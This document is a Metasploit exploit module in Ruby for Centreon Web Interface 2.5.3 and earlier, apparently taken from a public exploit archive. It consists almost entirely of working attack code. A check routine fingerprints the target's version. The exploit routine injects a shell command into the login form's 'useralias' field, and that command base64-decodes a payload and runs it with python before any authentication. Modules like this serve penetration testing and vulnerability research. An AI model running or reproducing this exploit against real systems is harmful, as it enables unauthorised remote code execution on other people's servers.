Centreon Web Interface 2.5.3 Command Execution

`##  
## This module requires Metasploit: http://metasploit.com/download  
## Current source: https://github.com/rapid7/metasploit-framework  
###  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
include Msf::Exploit::Remote::HttpClient  
  
Rank = ExcellentRanking  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Centreon Web Useralias Command Execution',  
'Description' => %q(  
Centreon Web Interface <= 2.5.3 utilizes an ECHO for logging SQL  
errors. This functionality can be abused for arbitrary code  
execution, and can be triggered via the login screen prior to  
authentication.  
),  
'Author' =>  
[  
'h00die <[email protected]>', # module  
'Nicolas CHATELAIN <[email protected]>' # discovery  
],  
'References' =>  
[  
[ 'EDB', '39501' ]  
],  
'License' => MSF_LICENSE,  
'Platform' => ['python'],  
'Privileged' => false,  
'Arch' => ARCH_PYTHON,  
'Targets' =>  
[  
[ 'Automatic Target', {}]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Feb 26 2016'  
)  
)  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI', [ true, 'The URI of the Centreon Application', '/centreon/'])  
], self.class  
)  
end  
  
def check  
begin  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'GET'  
)  
/LoginInvitVersion"><br \/>[\s]+(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+<\/td>/ =~ res.body  
  
if version && Gem::Version.new(version) <= Gem::Version.new('2.5.3')  
vprint_good("Version Detected: #{version}")  
Exploit::CheckCode::Appears  
else  
Exploit::CheckCode::Safe  
end  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
end  
  
def exploit  
begin  
vprint_status('Sending malicious login')  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'POST',  
'vars_post' =>  
{  
'useralias' => "$(echo #{Rex::Text.encode_base64(payload.encoded)} |base64 -d | python)\\",  
'password' => Rex::Text.rand_text_alpha(5)  
}  
)  
  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
end  
end  
`